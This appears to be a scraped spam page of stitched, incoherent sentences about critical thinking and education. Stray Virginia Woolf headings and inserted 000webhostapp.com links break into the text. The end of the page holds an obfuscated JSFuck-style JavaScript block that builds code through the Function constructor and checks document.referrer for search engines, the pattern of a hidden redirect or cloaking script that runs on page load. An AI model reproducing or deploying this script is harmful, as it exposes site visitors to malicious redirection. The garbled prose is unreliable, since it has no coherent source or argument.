If anything, critical thinking is an essential part of creativity because we need critical thinking to evaluate and improve our creative ideas. The study also showed that students who studied alone made more significant gains in learning than those who studied in groups. District Leaders Plead to Stop Using ‘Tech Plans’ District leaders across the country think it is time to stop viewing technology as a luxury, and instead view it as a critical tool for teaching and learning. Critical Thinking can help me succeed as a college student, by making me think more about all class work, analyzing my information more carefully and study my class work before sending it in. Each week, develop a heightened awareness of one of the universal intellectual standards clarity, precision, accuracy, relevance, depth, breadth, logicalness, significance. CO Cece Okoroafor Jul And the most common of all are the toppers. Here are just a few ideas: Again, thank you for your work. Like assumptions, taking information on authority can be useful. They cost more, but they just look good. It is the ability to evaluate information to determine whether it is right or wrong. Our Website Teachers Parents The Stacks Ages Family Playground Ages Librarians Administrators Common Core Standards. Click to agree to the terms and continue Confirm. In the education process, critical thinking is a crucial tool in the current educational changes that envisage a greater focus on the specific set of skills. Now go beyond the blog and get free tools to achieve them. Once they grasp the concept of critical thought, it can change their whole view of the world. Many of the negative definitions that we give to situations in our lives could Essays virginia woolf volume 4 in principle be transformed into positive ones. In addition to the basic review of the definition and concept of critical thinking , the following pages and articles are recommended reading for the college, university or pre-collegiate student. The ability to think critically is one skill separating innovators from followers. A draft statement for the National Council for Excellence in Critical Thinking. Read to the Top. A group trying to bring public transportation to a rural area started by arranging a meeting between the select boards of the towns involved and the local regional transit authority. A good academic text is likely to include ideas or opinions; some reasons for these in the form of evidence ; and possibly some further conclusions that the writer wants to draw from this. It presupposes assent to rigorous standards of excellence and mindful command of their use. You will have to think things in many different perspectives because as we get older, many things do not have a definition o being wrong or correct. Both generating and focusing involve learning and applying certain guidelines attitudes and habits of mind that support effective thinking and tools. Are there any important tips I missed? They might work in groups in lab projects. Critical Thinking Argument Education College Critical Thinking Education Argumentation. Beware of presenting too much newness at once. For example, AP United States History students learn to analyze and compare historical events. They describe 8 typical tasks that undergraduate writers do in all their courses, in a developmental sequence requiring more complex skills: Word on the Street. Lake Shore Drive Chicago, IL Fax Fax: Thanks to all authors for creating a page that has been read , times. We can use critical thinking to enhance work processes and improve social institutions. Students’ Goals After College Graduation.
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However, if the HIV-positive rate in the gay community is nearly nonexistent, and the real AIDS problem in town is among IV drug users, the location of the gay community is irrelevant information. Popular pages What is critical thinking? Yet critical thinking is simple: Why is critical thinking important? I will be sharing this article on our Facebook page and website; http: Setting priorities or ranking options through a systematic analysis of all possible combinations. These procedures include asking questions, making judgments, and identifying assumptions. What critical thinking means, why it is of value, and the ethics of its use are best regarded as three distinct concerns. College Info Geek College Info Geek is a resource that will help you become a better student. It can alter family relationships, change attitudes toward work and community issues, and bring discord into a life where none was recognized before. Center for Creative Learning. Characteristics of Critical Thinkers For a quick overview, read Characteristics of Critical Thinking which begins with “What is Critical Thinking? Sometimes we just stare off blankly into space. The arts may not guarantee top grades in STEM subjects. They are therefore essential to develop and demonstrate to prospective employers after graduation. The Grand Forks third-grader described three cartoon figures she was using in her story, two of which appeared to be walking down a road. When you create activities and assignments, keep the varying learning preferences of students in mind. This causes a lot of distress and complaining from students. Alexandria, VA MISSION: A Problem A Day. You are integrating them, and building on them, in the light of your actual experience. We have great capacity. The , Volume 22, issue 1, of the journal, Teaching of Psychology , is devoted to the teaching critical thinking. It is the ability to evaluate information to determine whether it is right or wrong. Did you forget your username or password? Sign language might be seen as a language just like other foreign languages and be taught as a subject. One group of students generated ideas on how to improve communication between the deaf and the hearing members of the school community. Eric Document Reproduction Services No. There has been quite a bit of research done on critical thinking skills and their importance in education. This article just scratches the surface.
Essays of Virginia Woolf, Vol. 4, 1925-1928 : Virginia
Every week, we’ll send you the very best content on love, sex and relationships. Is it to select a single solution, to rank order or prioritize several options, to examine ideas carefully with very detailed criteria, to refine or strengthen options, or to create a sequence of steps or actions? Options for Breeds Fits Gram’s budget Most quiet Ease of care Protectiveness Friendliness Total Labrador retriever 3 5 3 2 5 18 Toy poodle 3 2 3 3 4 15 Pit bull 4 2 3 5 1 15 Siberian husky 3 3 2 3 3 14 Jack Russell terrier 3 2 4 3 2 14 In another setting, a group of students used the Evaluation Matrix as a tool to help them select books to check out from the library. Hardest logic puzzle ever Free miniguide What is an argument? While these incidents can trigger reflection and introspection it is the ability to think in a critically reflective manner that many students will not be familiar with unless they have been taught to do so. What do you think causes? Why Teach Critical Thinking? These requirements — for disposition be willing and skill be able — are described in the pages above, and with more detail in a series of papers by Peter Facione, Noreen Facione, Carol Giancarlo, and Joanne Gainen. While we seek out and appreciate some illusions, such as films and novels, others can make us miserable or even kill us. What they will expect, though, is for you to be able to think ; to know how to make connections between ideas and evaluate information critically. Suggest you read this book! I only remember having one debate in my high-school. Example contributed by Jennine Jackson, Teacher of the Gifted, Amphitheater School District, Tucson, Arizona, and Affiliate Director of the Arizona Future Problem Solving Program International. The effects may be subtle yet profound. Learn the process of examining, analyzing, questioning, and challenging situations, issues, and information of all kinds. Show students the rubric along with the assignment instructions so that students know what they will be evaluated on and how to evaluate their peers. Education might be able to help students progress through developmental stages. Once you’ve clarified the assumptions, everyone needs to question them. Many people believe, for instance, that it is “common sense ” that sex education courses for teens encourage them to have sex. Then, he generated ways to improve or modify each of those parts. Each service offers targeted feedback for improving personal performance — while having an overall positive impact on your institution. Critical thinking is tremendously important in health, human service, and community work because it allows you to understand the actual issues involved, and to come up with an approach that is likely to address them effectively. We collect cookies to make your use of Worldessays. For more information about the Creative Problem Solving framework, see the resources at the Center for Creative Learning. About the Author Kori Morgan holds a Bachelor of Arts in professional writing and a Master of Fine Arts in creative writing and has been crafting online and print educational materials since Return to Figure 1 Morphological Matrix In one class studying the elements of character, the teacher provided the following Morphological Matrix: Thank you for helping to improve wiseGEEK! The Fourth Industrial Revolution, which includes developments in previously disjointed fields such as artificial intelligence and machine-learning, robotics, nanotechnology, 3-D printing, and genetics and biotechnology, will cause widespread disruption not only to business models but also to labour markets over the next five years, with enormous change predicted in the skill sets needed to thrive in the new landscape. Thank you for your insights. Whether your child is just starting summer vacation or in the midst of the school year, parents can help keep minds active in fun ways. Identifying the different arguments there are in relation to a particular academic issue. This information explosion is likely to continue in the future. Click Here for our professional translations. The writer will have organised all of these elements into an academic argument. Analyzing Root Causes of Problems: Copyright by the Center for Creative Learning. Thinking about Grandma and where she lived, the family decided to use the following criteria: Critical Thinking in Everyday Life: It’s easy to let your emotions take over when making an important decision or arguing for your opinion, especially if you are personally invested in it. It comes amid President Barack Obama’s call for more college graduates by and is likely to shine a spotlight on the quality of the education they receive. An innovative teaching strategy:
Virginia Woolf Collected Essays Volume 3 1
As always, we encourage you to use your critical thinking skills to evaluate everything you read. Classification plays an important role in critical thinking because it requires identification and sorting according to a rule, or set of rules, that kids must discover, understand, and apply. As such, CT is a liberating force in education and a powerful resource in one’s personal and civic life. S – Substitute C – Search research paper Combine A – Adapt M – Magnify or Minify P – Put to other uses E – Eliminate R – Reverse or Rearrange. Teachers can incorporate critical thinking skills into their coursework in the form of active learning and paired courses, where students have opportunities to exercise and reinforce them. Do a “hush day” to help people get a firsthand understanding of the need for all to communicate. They don’t give you any extra abilities. The Essential Fluencies The Search research paper Essential Fluencies Solution Fluency Information Fluency Global Digital Citizenship Creativity Fluency Media Fluency Collaboration Fluency. Diagnosis Dictionary Types of Therapy Talk To Someone Find A Therapist. Basically, Beyer sees critical thinking as using criteria to judge the quality of something, from cooking to a conclusion of a research paper. On the other end of the logic spectum, we see a variety of logical fallacies that include circular reasoning and strawman arguments. Manatee sheriff holds last Irma briefing. The first ancestor of humans who said to himself, “We’ve always made bone tools, but they break awfully easily. Simply put, critical thinking is the ability to examine a situation from all angles and choose an informed solution, without any bias or prejudice against available information. Finding the answer, and finding it elegantly, is what critical thinking is all about. Company About Us Our Mission Customer Services. What other assumptions are we taking for granted that might crumble upon further examination? An AIDS prevention initiative, for instance, may find that a particular neighborhood has a large number of gay residents. Each of these purposes might be best served by a specific focusing tool. Does he believe everything on TV? When we are aware that we can choose and direct our thinking, we realize that we have the ability to better control the circumstances of our lives, improve our decision-making processes and generally live more productive lives. In fact, those two sets of assumptions are inseparable, and both need to be considered. About the Author Marilyn Price-Mitchell, PhD, is founder of Roots of Action and author of Tomorrow’s Change Makers: Taking a critical approach in your studies and professional development can include behaviours such as:. Combining the hours spent studying and in class, students devoted less than a fifth of their time each week to academic pursuits. The design of teaching-learning methodology and assessments exhibiting student learning outcomes are critical to enhance critical thinking among students. We have great capacity. Home About Us Start Here Resources Special Features Subscribe Revenue Streams Managing an Institution Attracting Students Programming Technology. Your contribution can help change lives. Disciplines About Events News Contributors. Many are ready to change, and welcome the chance to challenge the way things are and learn new ways of thinking. The test is voluntary and includes real world problem-solving tasks, such as determining the cause of an airplane crash, that require reading and analyzing documents from newspaper articles to government reports. Teamwork and Empathy Ultimately, critical thinking skills help you to better understand the experiences and views of others, enhancing your ability to work with different people. Providing structured reasoning and support for a written argument that you wish to make. Are some disciplines more likely to graduate those who think critically? To translate this article, contact permissions ascd. Why is being critical important? The Powerpoint file can be submitted via a discussion or submitted in an assignment. Raising Readers, Writers, and Spellers. School-based nurturance of this development will lead to students’ autonomous critical thinking and their formation as responsible citizens. Return to Figure 1 Attribute Listing Steve used the Attribute Listing tool to explore ways to improve how he presented his science project. New Directions for Teaching and Learning no. Notify of new replies to this comment. Svinicki, Marilla and Wilbert J. Without information that’s logically consistent and at least close to complete, you can’t draw conclusions that will help you effectively address an issue. International edition switch to the UK edition switch to the US edition switch to the Australia edition. Leave No Child Inside: Then, they searched through many stores and catalogs, located examples of modifications and extensions of the basic idea of the telephone, and considered what SCAMPER words and questions might have led to those modifications.
Amazon.com: The Essays of Virginia Woolf, Vol. 1: 1904
The Creative Problem Solver’s Basic Toolbox Tools for Generating Possibilities Creative Thinking. Using questioning to teach critical thinking. Elliot Eisner, who identified 10 lessons the arts teach. Pose the debate questions in the discussion forum, and give students instructions to take a side of the debate and cite course readings to support their arguments. I always felt daunted by that, but with this article, I am gonna change my perspective and try changing my method of reasoning. The Perry model of intellectual development, however, helps to explain the different stages that students move through as they become incorporated into the academic community, and examples of these stages are sketched out. Brown University Providence, Rhode Island , USA Phone: I’m concerned with helping you win big in college. Crete Campus Boswell Ave. A draft statement for the National Council for Excellence in Critical Thinking. You are reading Raising Readers, Writers, and Spellers. Most people are capable of learning to think in this way, if given the encouragement and opportunity. Week 3 — Taking Time Off From Class. Characteristics of Critical Thinkers For a quick overview, read Characteristics of Critical Thinking which begins with “What is Critical Thinking? And the most common of all are the toppers. S – Substitute C – Combine A – Adapt M – Magnify or Minify P – Put to other uses E – Eliminate R – Reverse or Rearrange One group of students, working on a unit on inventions, chose to study the telephone. Given all the information we have, what’s the best way to deal with this issue? Brainstorming is probably the most widely known generating tool but often the most misunderstood and misused tool, too.
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There are probably hundreds of ways, but here are seven. Each week, write out a certain number of journal entries. Nowadays the essential criteria for academic success are the capacity to think not only creatively, but logically. Please choose your username under which you would like all your comments to show up. Students’ Goals After College Graduation. Email it to Leanna aplusadvice. Then familiarize yourself with the environment, for Armis that means knowing the game board and player pieces, for school that mean knowing your teacher, classmates, school building, and key faculty Principal, Dean, Advisers Now that you know what you are expected to do and where you are expected to perform the next step is to assess values so that you properly budget your efforts and resources. Choose one intellectual traitintellectual perseverance, autonomy, empathy, courage, humility, etc. For example, students in an English class might write reflective letters about how their writing has improved and what they still need to work on. This applies in your reading and writing as well as in what you listen to during your studies. Basic Questions and Answers Richard Paul. Great post and remarks surrounding critical thinking!
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Subscribe to ASCD Express , our free e-mail newsletter, to have practical, actionable strategies and information delivered to your e-mail inbox twice a month. Asking “how do we know? Hits and Hot Spots. How to Improve Critical Thinking Skills. This was beneficial to humans when we were hunting large game and fighting off wild animals, but it can be disastrous when we try to decide who to vote for. Teaching Brown Getting Started Campus Support Resources for Learners Grant Support. Thinking clearly and systematically can improve the way we express our ideas. Using the acronym SCAMPER, students look for new possibilities by applying the following checklist of action jasofer.000webhostapp.com words or phrases: Teens Complete HPV Vaccinations. Students process information based upon their unique perspectives, which is formed by their experiences, level of intelligence, and existing knowledge. He volunteers on teacher education projects in Liberia and Sierra Leone for CODE www. You must be logged in to post a comment. The first step in teaching critical thinking is to help students recognize how easily false ideas can creep into their belief systems. Critical thinking enhances language and presentation skills. School-based nurturance of this development will lead to students’ autonomous critical thinking and their formation as responsible citizens. Each student in the class then completed a PCA sheet. Via Education Articles Critical thinking is a term that is given much discussion without much action. Most people identify Thomas Edison as the inventor of the incandescent 100 Search Engines For Academic Research light bulb. In this activity you are going to see how much you know about the different skills that are involved in critical thinking. H ow to Teach Your Child to Read and Write—Baby to Age 7. Finally, it requires helping people to apply the critical stance to a problem and learn how to come up with a solution that is effective because it addresses the real issues involved. For example, experiments to find out what offends your friends may cost you friendships. Critical thinking assessment C Multiple measures of critical thinking skills and predisposition in assessment of critical thinking. Thus, students are frequently asked to make outlines for future assignments in order to provide them with a logical structure. Magazine WSJ Puzzles The Future of Everything Life Video Arts Video. Hi there, Brilliant post. Shop Scholastic Reading Club Scholastic Store Online Klutz Book Fairs. Svinicki, Marilla and Wilbert J. How do you help people learn to think critically? Other questions were much more original What are some controversial or highly debated issues in this country? If so, how can it work better? Translate this page from English In dealing with teen pregnancy again, for instance, the ideal might be a community in which there were no teen pregnancies because all youth clearly understood the physical and emotional consequences of having sex; had adequate sexual information and access to birth control; and felt valued and empowered enough to respect one another and to maintain control over their own bodies. Again, thank you for your work. Teaching Kids to Think Critically: T Tabassum Apr 18, Over , awesome students are learning how to dominate their classes, get more done, and land the jobs they want – and you should too. Home Services Student Ratings of Instruction Student Ratings of Instruction Tools. Studying the following articles and pages will help you build a stronger understanding of the core concepts in critical thinking.
Essays of Virginia Woolf, Vol. 4, 1925-1928 by Virginia
Students who are competent in not only the basics of content areas but also the basics of productive and creative thinking will be lifelong learners, knowledge creators, and problem solvers who can live and work effectively in a world of constant change. From Newton to Einstein to Yitang Zhang , questioning assumptions is where innovation happens. Spend a little bit of time figuring out a problem and then try to solve it. What if we looked at it from another angle? That is, given a particular situation, apply the relevant knowledge of the principles and constraints, and display, in the abstract, the plausible consequences that might result from the different variations that you can imagine imposed on the system. In the mid’s people in Eastern Europe lived in a political and economic fog between the communist era that had ended almost without warning and the new state of affairs that was slow to come into focus. They could afford soda and popcorn. The students’ long-term steps involved creating an appealing presentation that incorporated information from their interviews and personal experiences to inform other students and to stimulate their involvement. Applying a checklist of action words or phrases idea-spurring questions to evoke or trigger new or varied possibilities. Thinking about a topic or issue in an objective and critical way. October 10, at Over , awesome students are learning how to dominate their classes, get more done, and land the jobs they want – and you should too. The ideal critical thinker is habitually inquisitive, well-informed, trustful of reason, open-minded, flexible, fair-minded in evaluation, honest in facing personal biases, prudent in making judgments, willing to reconsider, clear about issues, orderly in complex matters, diligent in seeking relevant information, reasonable in the selection of criteria, focused in inquiry, and persistent in seeking results which are as precise as the subject and the circumstances of inquiry permit. Sign in using social networks. I just wanted to let you know we loved your article and tweeted it on May 8th. Generating many possibilities is not enough by itself to help you solve a problem. By Melissa Korn Melissa Korn. Their work is shown below. Every week, we’ll send you the very best content on love, sex and relationships. SIGN UP FOR FREE RESOURCES. Skip to main content. Our Website Teachers Parents The Stacks Ages Family Playground Ages Librarians Administrators Common Core Standards. There are good reasons to “bring back” arts to a STEM-heavy curriculum, but improving math and science scores is not among them. Level 3 -Application — Now you begin to solve problems by using the information in new ways. Think several moves ahead. Instructors of large classes often have difficulty in knowing whether the students have Approaches to organisation and management read and understood the text. Reviews works of philosophers, educators, and sociologists who have examined critical thinking as central to the learning process. A good academic text is likely to include ideas or opinions; some reasons for these in the form of ; and possibly some further conclusions that the writer wants to draw from this. The above definition includes so many words because critical thinking requires you to apply diverse intellectual tools to diverse information. Not Helpful 3 Helpful She taught creative writing and composition at West Virginia University and the University of Akron and her fiction, poetry and essays have appeared in numerous literary journals. Well, throw away your ego. The quality of your personal relationships is affected by the quality of your thinking about those relationships. Correspondingly, these criteria can guarantee the high level of personal and professional development in any scientific area or career. Available Online Courses Online Courses by Subject Online Courses by State. Below are a few of the methods educators employ; you can try them at home to help your child become a critical thinker. If the stated goal is to find a novel or original solution or response, then it is important to focus deliberately on that dimension when evaluating possible solutions, and not simply to fall back on the easiest or most familiar options within a list. For more information about the Creative Problem Solving framework, see the resources at the Center for Creative Learning. Three Categories of Questions explains why, because students don’t recognize questions involving “reasoned judgment” which are neither fact nor opinion , they “fail to see the difference between offering legitimate reasons and evidence in support of a view and simply asserting the view as true.
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Teaching Strategies to Help Promote Critical Thinking. It is also important that any changes to the curriculum be met with training about the new activities and how to utilize them to their full effect. A public profile and adherence to our rules and terms of use is required. What do you think causes..? VOICES Black Voices Latino Voices Women Queer Voices Asian Voices Parents. Bring in or create a school presentation using words and sign language to demonstrate the app-1504172129.000webhostapp.com importance of diversity. The future of critical thinking In January , the World Economic Forum issued a report “The Future of Jobs”. Limited Learning on College Campuses” University of Chicago Press comes out this month, followed 2, traditional-age students from the fall of to the spring of and examined testing data and student surveys at a broad range of 24 U. We use it when we raise questions about: Touch the runes that you want to level up, but they cost XP. Thoughts on promoting critical thinking: Your information might be that a certain approach to this same issue worked well in a similar community. Good thinkers practice thinking just like they practice basketball or soccer. Puzzling Over Your Essay? What It Is and Why It Counts and concludes with a consensus statement of experts in the field about critical thinking and the ideal critical thinker:. Evaluate the options by weighing advantages and disadvantages. It really means a lot that my writing is helpful. Please keep comments respectful and abide by the community guidelines. Introduce the tools directly, using engaging, open-ended questions from everyday life. How does he view the job of government, for instance? So, in seeking their ideal professional position, how does a person convey their capacity to think critically? Think how much less motivating this saying would be: CI Cristian Ion Mar 7. The Case for ‘Argument’ in Education”, excerpt: The teacher is a facilitator of a conference. Stephen Brookfield has developed a point guideline for facilitators of critical thinking that focuses both on the learner and the facilitator herself. Development of critical thinking skills like any other skill needs adequate exposure and opportunities to apply them. To translate this article, contact permissions ascd. FPSPI selects five topics each year, and students participate in team problem solving, community problem solving, or scenario writing. If anything, critical thinking is an essential part of creativity because we need critical thinking to evaluate and improve our creative ideas. Put yourself in other peoples’ shoes. Effective Problem-Solving and Better Decisions — Paperback http: The students combined these items to produce the sentence, When high school students exhibit good citizenship they will not encounter conflict in the mall. The students, for example, couldn’t determine the cause of an increase in neighborhood crime or how best to respond without being swayed by emotional testimony and political spin. Discusses several standardized tests to assess critical thinking.
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Essay godfather death
QEUExb
$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,56,55,53,113,50,119,57,72,84,77,76,60,34,48,112,47,63,38,95,43,85,67,52,44,58,37,122,51,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{}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